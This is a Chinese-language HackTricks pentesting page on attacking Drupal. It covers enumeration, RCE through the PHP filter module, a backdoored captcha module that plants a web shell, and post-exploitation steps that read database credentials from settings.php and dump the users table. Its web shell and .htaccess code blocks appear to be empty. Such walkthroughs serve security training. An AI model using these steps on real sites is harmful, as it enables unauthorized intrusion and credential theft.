# Drupal
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
其他支持HackTricks的方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
{% embed url="https://websec.nl/" %}
## 发现
* 检查**meta**
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
* **节点**: Drupal **使用节点索引其内容**。一个节点可以包含任何内容,比如博客文章、投票、文章等。页面的URI通常采用形式`/node/`。
```bash
curl drupal-site.com/node/1
```
## 枚举
Drupal 默认支持**三种类型的用户**:
1. **`管理员`**:此用户对Drupal网站拥有完全控制权。
2. **`已验证用户`**:这些用户可以登录网站,并根据其权限执行操作,如添加和编辑文章。
3. **`匿名用户`**:所有网站访问者都被指定为匿名用户。默认情况下,这些用户只能阅读帖子。
### 版本
* 检查 `/CHANGELOG.txt`
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
Drupal的新安装默认阻止访问`CHANGELOG.txt`和`README.txt`文件。
{% endhint %}
### 用户名枚举
#### 注册
在 _/user/register_ 中尝试创建用户名,如果该名称已被使用,将会收到通知:
![](<../../.gitbook/assets/image (325).png>)
#### 请求新密码
如果为现有用户名请求新密码:
![](<../../.gitbook/assets/image (900).png>)
如果为不存在的用户名请求新密码:
![](<../../.gitbook/assets/image (304).png>)
### 获取用户数量
访问 _/user/\_ 您可以查看现有用户的数量,在这种情况下为2,因为 _/users/3_ 返回未找到错误:
![](<../../.gitbook/assets/image (330).png>)
![](<../../.gitbook/assets/image (227) (1) (1) (1).png>)
### 隐藏页面
**模糊 `/node/$` 其中 `$` 是一个数字**(例如从1到500)。\
您可能会发现**隐藏页面**(测试、开发),这些页面未被搜索引擎引用。
#### 已安装模块信息
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
### 自动化
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
### 使用 PHP 过滤器模块
{% hint style="warning" %}
在 Drupal 的旧版本 **(8 版本之前)** 中,可以登录为管理员并**启用 `PHP 过滤器` 模块**,该模块"允许评估嵌入的 PHP 代码/片段"。
{% endhint %}
您需要安装**插件 php**(访问 _/modules/php_ 进行检查,如果返回 **403**,则**已安装**;如果**未找到**,则**插件 php 未安装**)
转到 _模块_ -> (**检查**) _PHP 过滤器_ -> _保存配置_
![](<../../.gitbook/assets/image (247) (1).png>)
然后点击 _添加内容_ -> 选择 _基本页面_ 或 _文章_ -> 在正文中编写 _php shellcode_ -> 在 _文本格式_ 中选择 _PHP 代码_ -> 选择 _预览_
![](<../../.gitbook/assets/image (335).png>)
最后只需访问新创建的节点:
```bash
curl http://drupal-site.local/node/3
```
### 安装 PHP 过滤器模块
从**8版本开始**,[**PHP 过滤器**](https://www.drupal.org/project/php/releases/8.x-1.1) **模块不再默认安装**。要使用此功能,我们需要**自己安装该模块**。
1. 从 Drupal 网站下载最新版本的模块。
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
3. 下载完成后,转到**`管理`** > **`报告`** > **`可用更新`**。
4. 点击**`浏览`**,选择从我们下载到的目录中的文件,然后点击**`安装`**。
5. 安装完成后,我们可以点击**`内容`**,并**创建一个新的基本页面**,类似于我们在 Drupal 7 示例中所做的操作。再次确保从**`文本格式`下拉菜单中选择`PHP 代码`**。
### 后门模块
可以通过**向现有模块添加 shell** 来创建后门模块。可以在 drupal.org 网站上找到模块。让我们选择一个模块,如[验证码](https://www.drupal.org/project/captcha)。向下滚动并复制 tar.gz [存档](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)的链接。
* 下载存档并提取其内容。
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* 使用以下内容创建一个 **PHP Web Shell**:
```php
```
* 接下来,我们需要创建一个**`.htaccess`**文件,以便让自己访问该文件夹。这是必要的,因为Drupal拒绝直接访问**`/modules`**文件夹。
```html
RewriteEngine On
RewriteBase /
```
* 上面的配置将在我们请求/modules文件夹中的文件时应用规则。将这两个文件都复制到captcha文件夹中并创建一个存档。
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* 假设我们拥有对网站的**管理访问权限**,点击侧边栏上的**`管理`**,然后点击**`扩展`**。接下来,点击**`+ 安装新模块`**按钮,我们将被带到安装页面,例如`http://drupal-site.local/admin/modules/install`浏览到带后门的验证码存档并点击**`安装`**。
* 安装成功后,浏览到**`/modules/captcha/shell.php`**以执行命令。
## 后渗透
### 读取 settings.php
```
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
### 从数据库中转储用户
```
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
## 参考资料
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
{% embed url="https://websec.nl/" %}
从零开始学习AWS黑客技术 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。